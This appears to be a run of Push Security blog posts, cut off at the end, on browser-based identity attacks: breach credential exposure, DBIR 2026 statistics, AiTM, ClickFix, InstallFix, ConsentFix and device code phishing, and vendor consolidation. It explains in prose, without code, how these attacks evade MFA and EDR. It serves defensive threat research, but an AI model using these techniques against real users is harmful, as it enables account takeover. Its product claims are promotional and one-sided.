Is your priority detecting and stopping attacks in the browser? Go with Push. Push detects and stops the threats actually breaching enterprises — AiTM phishing, ClickFix, OAuth abuse, malicious browser extensions. It also provides valuable additional insight during investigations to understand incidents better and decide how to respond to them. 

Do you have a large contractor or third-party population needing locked-down workspace controls? Use a full-stack enterprise browser for that population and Push for everyone else. Watermarking, screenshot blocking and print restriction are OS-level controls that extensions cannot reliably replicate.

Do you have a multi-browser estate including a mix of consumer and agentic browsers? Push will provide the coverage you need to secure users. The browser options are growing, and locking your workforce into a single corporate browser becomes harder every time a new productivity-shaping browser ships. Push regularly adds support for emerging browsers.

Is significant BYOD or unmanaged-device coverage required. Push is a great option, particularly if you also have Chromebooks that fall outside of your EDR coverage. The extension can easily be installed via email or landing page self-enrollment, with options to enforce coverage through conditional access policies. This provides full threat detection and policy enforcement on devices the organization does not own.

In short, if you are solving for workspace control, the right tool is a full-stack enterprise browser. If you’re solving for protecting users as they work in their browsers, Push is the tool built specifically for that need — with the research depth, detection engineering, and operational scale to do the job.

Book a live demo to learn more.

1. Compromised credentials are everywhere, and most organizations can't tell which ones matter

The scale of enterprise identity is the backdrop for the entire conversation. The average employee maintains around 15 SaaS accounts, and only a fraction of those sit behind SSO. Of the last million logins observed by Push, 1 in 4 were password-based rather than SSO, 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. That's the starting posture — before you even account for how many of those credentials have already been stolen.

Troy's data suggests the answer is: most of them. "We know credential reuse is massive," he said. "We know attackers get credentials from one data breach and then they go along and they try them on all sorts of different services, and now you've got one data breach leading to multiple account takeovers." His service now holds billions of email addresses, monitors 400,000 domains including more than half the Fortune 500, and sends millions of breach notifications every year.

The problem compounds because, as Troy put it, "data never really dies." Employees leave, but their credentials persist in breach datasets and across the SaaS apps they signed up for during their tenure. When an organization pulls its breach exposure data, a significant proportion of what comes back is noise — departed employees, fabricated email addresses, accounts for services that were never sanctioned. Mark described the operational reality: getting a notification that an email address has appeared in a breach "can be very helpful context, but can also be a recipe for spending some time only to find out that maybe that person left two years ago."

The proof is in the breaches. The Snowflake incident was the watershed example — 80% of the compromised accounts had prior breach exposure in datasets dating back to 2020, but without MFA enforcement and without visibility into which credentials were actively in use, those warnings went unanswered while attackers walked in through the front door. The accounts still had local, password-based logins enabled — ghost logins that persisted even in environments that thought they'd moved to SSO.

Push's approach is to match breach intelligence against observed login behavior — correlating stolen credential feeds with the authentication events Push sees in the browser, so that a compromised credential only generates an alert when someone is actively logging in with it. That eliminates 99% of the false positives that make raw breach feeds so painful to operationalize, and turns a low-fidelity data source into something security teams can actually act on.

2. Attacks aren't slowing down — they're industrializing

With that many vulnerable credentials sitting in circulation, the question is how easily attackers can exploit them — and the answer, as Troy described it, is easier than ever. "There's almost like the democratization of hacking tools," he said. "When you get all of these things as a service — phishing as a service, ransomware as a service — you don't need to be particularly technically smart if you can go and pay someone else for access to their infrastructure."

The criminal tooling ecosystem now mirrors legitimate SaaS: turnkey platforms with tiered pricing, customer support, and continuous development cycles. Phishing-as-a-Service kits like Tycoon2FA — responsible for 62% of phishing blocked by Microsoft — offer turnkey AiTM infrastructure that intercepts session tokens in real time and bypasses MFA out of the box. The kits are also converging: AiTM platforms are adding device code phishing modules, credential harvesting kits are adding session token capture, and 60–70% of phishing attacks now originate from PhaaS platforms. The sophistication of the attack no longer reflects the sophistication of the attacker.

As Troy said: "If you look at this through the lens of the moral neutrality of technology, that rising tide lifts all boats. And some of those boats are criminals who can now do things easier than before."

3. You don't need to be a hacker to breach a Fortune 100 company

One of the most striking threads in the conversation was Troy's observation about who is actually behind these breaches — and how little technical sophistication they bring to the table. "The average age of people that are being arrested for a lot of these data breach style activities is around about 19," he said. "Fortune 100 companies are being breached by a kid in his bedroom. That is wild."

The leverage is disproportionate precisely because the attacks don't require deep technical skill. "A lot of the attacks lately have been social engineering attacks," Troy continued, noting with parental familiarity that "kids are great at social engineering — if you've got kids, you know how good they are at social engineering."

The ShinyHunters ecosystem — the group Troy and Mark discussed as the dominant threat actor at the time of recording — exemplifies this pattern. They're getting into Salesforce instances via voice phishing, not through zero-day exploits, and the tooling behind their campaigns is industrialized enough that Push's research team was able to infiltrate one of their criminal phishing panels and observe real-time victim targeting across four distinct infrastructure clusters and over 400 linked domains. Our analysis of the Instructure breach broke down the three core techniques behind these campaigns — credential phishing, AiTM attacks, and account takeover — none of which require particular technical sophistication to execute.

The reproducible playbook Troy described is an identity attack pattern, not a software vulnerability. "Once you do get a group that manages to find a reproducible pattern to gain access to these things, the same pattern is used by so many different organizations". And identity attacks scale precisely because they target the weakest link in the chain: the way people actually log in.

4. Your attack surface is bigger than your org chart

Troy connected the credential problem to the broader reality of modern enterprise architecture: the attack surface isn't defined by your systems anymore — it's defined by every external dependency your employees touch. "We're seeing attacks against the likes of Okta, because obviously Okta holds identity," he said. "Salesforce, a couple of years ago it was things like Snowflake — these external dependencies, and then you have so many different entry points into them."

When Troy tried to describe the resulting complexity, the metaphor was telling: "If you put all of this up on the board, sort of like crime fighter style and you draw the lines between everything, it's just an absolute spider web of interdependencies and access rights."

Mark made the point that the attack chain itself has shifted accordingly: "The first part of the attack, the infostealer, might not even be something that happened in your environment. You're just gonna see the tail end of that attack chain." An employee's credentials get harvested from a personal device, sit in a criminal marketplace for months, and then get used to log into a SaaS app that your IdP doesn't even know exists — because the employee signed up with their corporate email and a reused password. With the average employee maintaining around 15 SaaS accounts, the organizational identity surface extends far beyond what any single IdP directory shows, and most of it is completely unmanaged.

This is the identity surface area Push is built to make visible: shadow SaaS discovered through actual login events, authentication methods observed at the point of login, and the gap between what your IdP thinks is happening and how people are actually authenticating.

5. Even Troy Hunt got phished, showing the need for stronger technical protections, not just more awareness training 

Troy recounted the story of his own phishing incident. "My password out of 1Password got phished. My OTP out of 1Password got phished because it was a phishable form of 2FA," he said. "And as a result, my mailing list got exposed. So I had to put my own mailing list into Have I Been Pwned and then email all my subscribers, which was, to be honest, slightly embarrassing."

If the person who runs Have I Been Pwned — someone who has spent over a decade immersed in breach data and credential security — can get phished, the lesson clearly isn't "pay more attention." Troy was explicit about the takeaway: "It reinforces the need for technical controls that are separate and complementary to the human controls. In my own case, the human controls broke down. Unfortunately there weren't sufficient technical controls in order to save me from myself."

Mark pushed the point further during the Q&A: "Expecting users, even well-educated ones, even security practitioners, to be able to differentiate — I think that's just not a reasonable expectation." When phishing arrives from legitimate domains via notification pipeline abuse, from compromised contacts on LinkedIn, and from sponsored Google search results  the signals users were trained to look for simply don't exist anymore. Training remains valuable as a layer, but the structural argument for technical controls inside the browser was reinforced throughout the session.

6. MFA is necessary but it's not the finish line

Both speakers returned to MFA multiple times, and the consensus was clear: any MFA beats no MFA, but treating it as a solved problem is dangerous. Troy was direct: "You can have the world's best non-phishable 2FA. But an infostealer gets you cookie material and they can replay that and it had browser fingerprints and things in it as well, then you've still got a problem." 

Mark reinforced this: "We're seeing a lot of post-authentication attacks — session hijacking, consent attacks — where you can have the strongest authentication methods available, but if you're sidestepping or doing a post-authentication action, that's really not gonna matter." And with 2 in 5 logins observed by Push still lacking MFA at all, many organizations haven't yet reached the baseline where post-authentication attacks are even the primary concern — they're still exposed to straightforward credential-based compromise at scale.

Push addresses both halves: MFA enforcement guardrails surface where MFA is missing and guide users toward enrollment, while session hijacking detection and authorization attack protections — including device code phishing detection and OAuth consent monitoring — catch the post-authentication attacks MFA was never designed to stop.

7. The ClickFix-to-infostealer-to-account takeover flywheel

The final thread that ran through the conversation was the self-reinforcing nature of the modern attack chain. Mark laid out the cycle explicitly: "ClickFix to infostealer to account takeover, which results then in maybe more ad account takeover, so we distribute more ClickFix and it just kind of has this compounding effect."

This isn't a linear attack path — it's a flywheel. ClickFix silently injects a malicious command into the victim's clipboard and instructs them to paste and execute it, delivering infostealer malware that harvests credentials and session tokens from the browser. Those stolen credentials fuel credential stuffing attacks across every SaaS app the victim has accounts on — particularly apps with ghost logins where local password-based authentication still works even after SSO was configured. Compromised advertising and social media accounts are then used to distribute more ClickFix lures through Google search results, malvertising, and compromised websites, and the cycle starts again.

The scale compounds with every rotation, and the numbers suggest the flywheel is already spinning fast — 54% of all ransomware attacks in 2025 traced back to infostealer-enabled credential theft, and ClickFix was identified as the most common initial access vector by Microsoft last year.

Push breaks the chain at multiple points: detecting ClickFix clipboard injection before the payload reaches the endpoint, identifying stolen credentials when they're actively used in login attempts, flagging accounts missing MFA, and detecting session hijacking when stolen tokens are replayed outside the protected browser.

The bigger picture

The conversation with Troy reinforced something we see in our own data every day: the credential problem isn't just an awareness problem — and better technical controls are needed. Organizations know credentials get compromised, they subscribe to breach notification services, and they run security awareness training, but without the ability to match that intelligence against what's actually happening in the browser — which credentials are in active use, which accounts lack MFA, which logins bypass SSO entirely — the gap between knowing about a compromised credential and being able to do anything about it remains vast.

Troy's work at Have I Been Pwned has made that gap more visible than anyone else could, and the conversation is worth watching in full for the practitioner-level detail he brings to a problem most organizations are still underestimating.

Watch the full webinar to hear the full conversation — or book a demo to see how Push turns credential intelligence into actionable detections.

Vulnerability exploitation has caught up with identity — not replaced it

The DBIR's headline comparison pits vulnerability exploitation (31%) against credential abuse (13%) as individual vectors. That comparison is accurate but incomplete, because the DBIR tracks identity-related initial access across three separate categories: phishing (16%), credential abuse (13%), and pretexting (6%). Before interpreting those numbers, there's a methodological wrinkle worth understanding.

This year's report added pretexting as a newly tracked initial access vector, reclassifying some incidents previously counted as credential abuse. The DBIR is transparent about the effect: without that change, credential abuse would have been 16% rather than 13%. On an apples-to-apples basis, identity-related initial access (phishing 16% + credential abuse 16%) comes to 32% — versus 31% for vulnerability exploitation.

To be precise about what moved: phishing held roughly flat year over year, but credential abuse saw a modest decline even on the adjusted basis (from 22% to 16%). Overall, the identity picture is broadly stable. The reason the two categories have converged is that vulnerability exploitation surged 55%, not that identity attacks meaningfully receded.

The taxonomy gap

It's also worth asking how much the DBIR's initial access taxonomy can tell us. The figure that everyone is citing — Figure 10 — is labelled "select enumerations," and the four tracked vectors (vulnerability exploitation, phishing, credential abuse, pretexting) add up to only 66% of initial access. A third of the picture isn't represented in the headline breakdown at all.

The cluster boundaries and where you draw them also changes the story. The DBIR classifies ClickFix under "baiting" — a category that covers malicious downloads and SEO poisoning — rather than phishing, even though the end goal is often the same: getting a user to execute something they shouldn't. Pretexting absorbed incidents that were previously credential abuse, shifting the numbers between categories. These are useful analytical clusters, but they aren't clean divisions of a neatly partitioned attack surface.

Some of the most consequential identity-based campaigns of the past 12 months don't map cleanly to any of these categories — the mass Salesforce campaign that compromised over 1,000 organizations via device code phishing, the Anodot breach chain that pivoted through stored OAuth tokens to reach Snowflake customers, ConsentFix abusing Azure CLI's OAuth flow to bypass MFA entirely.

These are identity attacks at scale, and it isn't clear where — or whether — they show up in the DBIR's initial access vectors. This lack of depth in identity and in-browser attack vectors is common in many defensive models, which is why we've created our own Browser and Identity Attacks Matrix.

That convergence at initial access also understates the role credentials play across full breach chains. The DBIR states plainly that credential abuse at any point in the breach progression — not just as the first action — appears in 39% of all breaches, making it the single most pervasive technique in the dataset. Credentials don't just open the front door; they unlock lateral movement, privilege escalation, and persistence throughout the attack chain.

The vulnerability treadmill

The vulnerability exploitation surge itself is driven by a structural capacity crisis rather than a shift in attacker preference. Edge devices and VPNs now account for 22% of vulnerability-exploitation breaches, up from 3% the prior year — a sevenfold increase. Organizations face 50% more CISA KEV vulnerabilities to remediate than a year ago, median remediation time has increased from 32 to 43 days, and the volume of vulnerability records in the dataset has grown roughly eightfold.

This trend was already visible in last year's DBIR, when vulnerability exploitation jumped from 15% to 20%. AI-assisted exploit development may be compounding the problem — the DBIR's own data shows 32% of AI-assisted initial access targeting vulnerability exploitation — but the structural capacity crisis was accelerating well before AI became a meaningful factor in the attacker toolkit.

The vulnerability treadmill is accelerating, and the DBIR's remediation data shows defenders losing ground. But this is an additive problem, not a substitution. Both attack surfaces are growing. 

Phishing has left the inbox

41% percent of social engineering breaches now involve vectors other than email, with approximately a quarter coming from social media or phone-based channels. Voice phishing simulations show a 40% higher success rate than email phishing — a median click rate of 2% versus 1.4%.

The data is a little confusing. The DBIR draws a line between Phishing (asynchronous — send a message and hope for a click) and Pretexting (synchronous — someone interacting with you in real time). Voice phishing over a phone call is Pretexting in VERIS, not Phishing, even though most practitioners would call it phishing. Browser-based credential harvesting delivered via SEO poisoning or malicious downloads falls under "Baiting." So the 16% phishing figure probably understates the full scope of credential-harvesting social engineering as most defenders would define it.

Even within the email channel, the data confirms what browser-level detection data has been showing: credential harvesting dominates. The DBIR's email security gateway breakdown shows 80% of blocked attacks are credential or session phishing, with only 10% involving malware delivery, 5% callback phishing, and 3% BEC. If you're running an email security gateway, the vast majority of what it catches is credential phishing — and 41% of social engineering is arriving through channels it can't see at all.

The ClickFix detection gap

The DBIR reports ClickFix at only 2.7% of attacks detected at the browser level. For context, CrowdStrike reported a 563% increase in ClickFix lures over the same period and Microsoft identified it as the most common initial access point at 47% of observed attacks. Push's own data shows ClickFix at a significantly higher proportion of browser-level detections, with 4 in 5 delivered via search engines specifically.

The gap is striking, and the most likely explanation is a visibility one. ClickFix attacks result in a malware download or script execution on the endpoint — and without browser-layer context, that execution looks like any other malware delivery. If a contributing organization doesn't have visibility into the browser session that preceded the payload, they'd attribute the incident to "malware download" or "user execution" rather than ClickFix specifically. The DBIR's 2.7% probably reflects how often contributors could trace the chain back to a ClickFix page, not how often ClickFix was actually the delivery mechanism.

Stolen credentials are the ransomware on-ramp

One of the most powerful findings in this year's DBIR is the quantification of the relationship between credential compromise and ransomware outcomes. Fifty percent of ransomware victims had a credential or infostealer event occur within 95 days prior to the ransomware attack, drawing a causal line from credential theft to ransomware deployment.

The infostealer supply chain data reinforces the picture. Infostealers are surfacing an average of 2,362 breached corporate credentials per month from organizational email domains in stealer log datasets, and 54% of devices in Initial Access Broker logs had at least one infostealer installed. The 95-day median window is consistent with the known timeline from credential harvest to ransomware deployment.

That timeline reinforces an argument we've been making about where the intervention point needs to be: detecting credential compromise upstream — at the point of credential entry, session creation, or stolen credential reuse — rather than waiting for the ransomware deployment that follows weeks or months later.

Post-compromise tradecraft is shifting

The DBIR's post-compromise data adds another dimension. RMM tool abuse by threat actors showed a 240% increase over the prior year, while traditional backdoor and C2 malware usage fell 27%. Attackers are increasingly living off the land with the same remote access tools IT teams use. Post-compromise detection is getting harder, which makes catching the initial credential compromise upstream that much more valuable.

Your vendors are half the problem

Third-party involvement in breaches reached 48% this year, up from 30% — a 60% increase that follows a prior year where the figure had already doubled.

The DBIR's root cause analysis maps directly to identity security: insecure authentication — absent MFA, improper credential rotation — and lack of least privilege enforcement account for a substantial share of cloud-based third-party incidents. Only 23% of third-party organizations fully remediated missing or improperly secured MFA on cloud accounts, and weak password and permission misconfigurations took a median of 8 months to resolve 50% of findings.

Eight months. That's the median timeline for third-party vendors to resolve the identity hygiene issues that create the attack surface in their environments — environments that your data lives in.

Extend that posture gap across every vendor and third-party integration, and you start to see why the third-party breach figure keeps climbing. Visibility into OAuth consent flows and third-party integration sprawl is the starting point for getting ahead of a supply chain problem that is structurally getting worse.

AI is scaling known techniques — and creating new blind spots from the inside

The DBIR's AI analysis this year is grounded in a collaboration with Anthropic covering 793 threat actors who received enforcement action for violating acceptable use policy between March 2025 and February 2026. The findings are measured rather than alarmist: in the median case, actors sought AI assistance across about 15 distinct ATT&CK techniques, 44% of AI-assisted initial access was phishing-related, and less than 2.5% of techniques observed were classified as rare.

AI is currently an operational tool for attackers — automating and scaling known techniques rather than unlocking novel ones. Despite heavy AI-assisted focus on phishing, the DBIR's own incident dataset shows phishing as an initial access vector has barely changed year over year — suggesting AI may be uplifting less-experienced attackers to a higher baseline of lure quality without meaningfully increasing success rates against organizations that already have detection in place.

The more concerning number is the 32% of AI-assisted initial access targeting vulnerability exploitation — compounding the patching capacity crisis discussed earlier in a trend that was already accelerating before AI entered the picture.

Shadow AI is the bigger problem

The sharper AI risk for most organizations, though, is internal. Forty-five percent of employees are now regular AI users on corporate devices — up from 15%, a threefold increase — and 67% of them use non-corporate accounts. Shadow AI has become the third most common non-malicious insider action in DLP data, a fourfold increase over the prior year, with source code as the leading data type submitted to unauthorized AI platforms by a wide margin.

The browser extension angle is particularly relevant. More than 15% of users had unauthorized AI browser extensions installed, and the DBIR specifically notes that these extensions collect and retain browsing context from internal sites — creating a data exfiltration pathway that operates independently of traditional DLP controls.

This is moving faster than any previous shadow IT wave, and the data loss vector is the browser — where users interact with AI tools, where extensions collect context, and where OAuth consent grants connect AI services to corporate data. Visibility and control at that layer isn't a nice-to-have for AI governance; it's the minimum viable starting point.

What this means for defenders

The DBIR's 2026 data paints a picture of converging pressures rather than shifting priorities. Vulnerability exploitation surged, but identity-related initial access is broadly stable and credential abuse at 39% across full breach chains remains the single most pervasive technique in the dataset. Phishing is arriving through channels that email gateways can't see. The infostealer-to-ransomware pipeline now has longitudinal data behind it. Third-party involvement keeps climbing because vendor identity hygiene takes months to remediate. And shadow AI is creating data exposure pathways that most security stacks weren't designed to see.

The common thread across all of these findings is that the browser — where credentials are entered, sessions are created, OAuth consent is granted, AI tools are accessed, and extensions collect data — is the layer where these risks converge and where defenders need visibility and control if they're going to address them at the point of risk rather than after the fact.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

1. Browser attacks are evolving faster than defenses can adapt

The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been the dominant phishing technique for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to the most common initial access vector observed by Microsoft within about a year. Device code phishing went from near-zero to at least 12 distinct kits in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been operationalized on criminal forums.

As Luke put it toward the end of the session: "I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is."

2. AiTM phishing is table stakes for attackers 

Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others, and the kits are getting harder to detect through traditional means.

Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely normal.

One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. . The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for detection evasion. 

As John observed, "the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a complete timeline, mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.

3. Email is losing its market share as a delivery vector

One of the most striking examples in the webinar was a targeted AiTM campaign Push detected last year that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.

As Luke noted, LinkedIn occupies an unusual middle ground: "It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform." It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.

LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted "not even malvertising, just organic search, uncovering legit websites that have been compromised." InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. 

As John put it: "You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point."

4. ClickFix keeps evolving with multiple *Fix derivatives

ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — spawned an entire family of variants since its emergence, according to Push’s research. The webinar showed how far the social engineering has come: Luke demonstrated a particularly sophisticated variant on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: "It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience."

The more important point was structural. Because the user manually pastes and executes the command, "from the EDR's perspective, the user just manually ran this command," Luke explained. "It actually breaks that link from an EDR's perspective." EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push detects ClickFix at the clipboard-injection stage, before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.

5. InstallFix turned the AI tool boom into an attack surface overnight

InstallFix — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.

The trajectory Luke described was striking: "It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well." John added that the Claude Code variant in particular has been "running rampant," and that he personally knows someone who fell for it.

What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.

6. ConsentFix plays out entirely in the browser, and criminals just got the playbook

ConsentFix was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: "This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at."

Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. "It took us seeing it a few times before we cracked it," Luke explained. "And then we were like — wow. What is this? I've never seen this before."

The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a ConsentFix v3 toolkit posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. "They don’t need any infrastructure," John noted. "They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet."

Luke's assessment was clear: "When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now."

With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.

7. Device code phishing is the technique both speakers fear most (and it's just getting started)

When John asked Luke which technique felt most dangerous, the answer was immediate: device code phishing. 

The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.

Push is now tracking at least 12 distinct device code phishing kits, "literally within the last couple of months — from basically zero to this." EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. "That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now."

What makes device code phishing uniquely dangerous is how little friction it presents to the victim. As Luke explained: "It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code."

John's closing take: "It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun."

The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ShinyHunters.

What ties all of this together

Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.

Push detects all of them — AiTM phishing, ClickFix and the *Fix family, ConsentFix, and device code phishing — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.

Watch the full webinar to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or book a demo to see how Push handles them.

These acquisitions recognize that the browser is now where employees work, where AI runs, and where the most damaging attacks on organizations originate. It’s telling that browser security already accounts for 12.6% of the average security budget, and 85% of organizations expect to increase that spend over the next 12-24 months.

But for security buyers, consolidation creates a risk as much as an opportunity. The question isn't whether your existing platform vendor now offers browser security — it's whether what they're offering can actually protect you as the threat landscape evolves.

Why "good enough" isn't good enough in the browser

The consolidation pitch is tempting. If you're already a CrowdStrike, Zscaler, or Palo Alto customer, adding browser security through an existing relationship means fewer vendors, fewer contracts, and a coherent narrative about platform consolidation that plays well internally. 

Security teams make these kinds of tradeoffs all the time — accepting that your SASE vendor's threat intelligence feed may not match a dedicated provider, or that your EDR vendor's vulnerability management module may not match a dedicated scanner — are reasonable decisions where the operational benefit of consolidation outweighs the capability difference.

But browser security is a category where the stakes are too high to accept a "good enough" solution. The majority of all reported breaches now originate in the browser and attacker tradecraft in this space is advancing at an unprecedented rate thanks to AI. These risks warrant the strongest form of defense. Here are three reasons that “good enough” solutions don't give you that:

1. Most platform browser solutions were built for the wrong problems

CrowdStrike's own research puts identity involvement in 80% of all modern breaches. Identity weaknesses played a material role in almost 90% of Unit 42 incident response investigations. The breaches making headlines — 2024's mass Snowflake account compromises, 2025's wave of Salesforce-targeted attacks, and 2026's continued spree of data theft and extortion — all trace back to identity weaknesses exploited through the browser: credentials stuffed into login pages that lacked MFA, session tokens hijacked via AiTM phishing, OAuth consent abused to grant persistent access, and device code flows manipulated to bypass authentication entirely. 

Yet Seraphic was built for browser runtime exploit prevention, SquareX for file-based malware sandboxing, LayerX for access governance and AI usage policy. These are real use cases, but they're not the use cases behind headline breaches. If your browser security solution checks a box for "phishing protection" but can't detect the identity attack techniques that are actually being industrialized and deployed at scale, you have a gap — and the danger is that you don't know it's there.

2. Even solutions claiming the right capabilities often deliver them superficially

Every browser security vendor claims phishing detection, ClickFix protection, and session security. What varies enormously is whether those capabilities work against real, live, never-before-seen attacker infrastructure — or only against known-bad indicators that attackers rotate in minutes. 95% of in-browser attacks detected by Push used bot protection to evade blocklists; 89% of phishing domains are active for fewer than two days. 

A solution that appears comprehensive in a demo or PoV may leave significant gaps when tested against adversaries who understand exactly how security tools work and actively engineer around them. 

3. AI is only going to widen the gap between "good enough" and what you need

When a browser security product is acquired, engineering effort turns inwards towards integration with the parent platform, not advancing detection capability. 

That dynamic plays out differently for each acquisition, but in Seraphic's case it is expected to be particularly heightened. Seraphic works by injecting an agent into the browser's JavaScript runtime. This is the same approach antivirus vendors have used for years, with well-documented stability consequences. Stability is now a top priority for CrowdStrike, which means the Seraphic integration will proceed cautiously. For buyers, that translates directly into slower capability advancement, not faster.

But this is no time for engineering efforts to turn inward, as the threat landscape continues to evolve at an unprecedented rate. You only need to look at the rise of techniques like device code phishing, which have gone from research curiosity to industrialized exploitation in a matter of months — in large part enabled by AI-powered tools and AI-assisted development. Similarly, AI has compressed the time to generate a convincing phishing campaign from hours to minutes. 

But it's not only external threats: 92% of organizations allow employees to use public GenAI applications — every one of them with unsanctioned AI use occurring by design — employees are routinely entering sensitive data into unapproved AI tools, and Gartner predicts 40% of enterprise applications will feature AI agents by end of 2026, up from under 5% in 2025. 

The gap between an acquired product focused on integration and vendors whose single-minded focus is on stopping these emerging threats will continue to widen over time.

How to identify a genuinely best-of-breed solution

Start from your own requirements

Define the outcomes you need before speaking to any vendor. The highest-value browser security use cases are account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, and shadow SaaS and OAuth governance.

Understand how it detects, not just what it claims

Most solutions rely on IoCs — matching known-bad domains, URLs, and IPs against feeds that attackers rotate in minutes.  There’s a major shortcoming with this approach, though: attackers rotate infrastructure faster than any blocklist updates and use bot protection to stay off threat intelligence feeds, making every attack feel like a zero-day. The only approach that reliably works is TTP-based behavioral detection. Ask every vendor: are you detecting a known-bad indicator or a behavioral technique?

Test against real attacker behavior

Don't evaluate phishing detection with old phishing URLs. By the time you’re running these tests their IoCs will already be on block-lists (see point above). Instead, deploy realistic testing scenarios and look for demonstrable evidence of stopping real-world phishing kits — Evilginx, Tycoon2FA, Sneaky2FA, and so on. 

Assess innovation velocity

